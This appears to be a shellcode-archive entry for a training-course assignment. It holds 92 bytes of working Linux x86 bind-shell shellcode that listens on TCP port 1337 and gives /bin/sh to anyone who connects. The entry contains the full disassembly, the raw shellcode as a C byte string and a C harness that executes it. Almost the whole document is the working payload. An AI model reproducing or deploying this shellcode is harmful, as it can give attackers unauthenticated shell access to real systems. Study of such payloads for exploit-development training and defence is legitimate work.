92 bytes small Linux x86 tcp/1337 bindshell shellcode.
ff78686f2571f1c5269ce33e66a58c85/**
# Linux x86 Bind TCP shellcode
# This shellcode will listen on port 1337 and give you /bin/sh
# Shellcode Author: Anurag Srivastava
# Shellcode Length: 92
# Student-ID: SLAE-1219
# Note ~ http://www.theanuragsrivastava.in/2018/04/bind-tcp-shellcode-x86-slae-assignment.html
Disassembly of section .text:
08048060 <_start>:
8048060: 6a 66 push 0x66
8048062: 58 pop eax
8048063: 31 db xor ebx,ebx
8048065: 53 push ebx
8048066: 43 inc ebx
8048067: 53 push ebx
8048068: 6a 02 push 0x2
804806a: 89 e1 mov ecx,esp
804806c: 99 cdq
804806d: cd 80 int 0x80
804806f: 96 xchg esi,eax
8048070: 52 push edx
8048071: 66 68 05 39 pushw 0x3905
8048075: 43 inc ebx
8048076: 66 53 push bx
8048078: 89 e1 mov ecx,esp
804807a: 6a 10 push 0x10
804807c: 51 push ecx
804807d: 56 push esi
804807e: 89 e1 mov ecx,esp
8048080: 6a 66 push 0x66
8048082: 58 pop eax
8048083: cd 80 int 0x80
8048085: 53 push ebx
8048086: 6a 04 push 0x4
8048088: 5b pop ebx
8048089: 56 push esi
804808a: 89 e1 mov ecx,esp
804808c: 6a 66 push 0x66
804808e: 58 pop eax
804808f: cd 80 int 0x80
8048091: 52 push edx
8048092: 52 push edx
8048093: 56 push esi
8048094: 89 e1 mov ecx,esp
8048096: 43 inc ebx
8048097: 6a 66 push 0x66
8048099: 58 pop eax
804809a: cd 80 int 0x80
804809c: 93 xchg ebx,eax
804809d: 6a 02 push 0x2
804809f: 59 pop ecx
080480a0 <loop>:
80480a0: 6a 3f push 0x3f
80480a2: 58 pop eax
80480a3: cd 80 int 0x80
80480a5: 49 dec ecx
80480a6: 79 f8 jns 80480a0 <loop>
80480a8: 31 c9 xor ecx,ecx
80480aa: 51 push ecx
80480ab: 6a 0b push 0xb
80480ad: 58 pop eax
80480ae: 68 2f 2f 73 68 push 0x68732f2f
80480b3: 68 2f 62 69 6e push 0x6e69622f
80480b8: 89 e3 mov ebx,esp
80480ba: cd 80 int 0x80
**/
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x6a\x66\x58\x31\xdb\x53\x43\x53\x6a\x02\x89\xe1\x99\xcd\x80\x96\x52\x66\x68\x05\x39\x43\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x6a\x66\x58\xcd\x80\x53\x6a\x04\x5b\x56\x89\xe1\x6a\x66\x58\xcd\x80\x52\x52\x56\x89\xe1\x43\x6a\x66\x58\xcd\x80\x93\x6a\x02\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x31\xc9\x51\x6a\x0b\x58\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}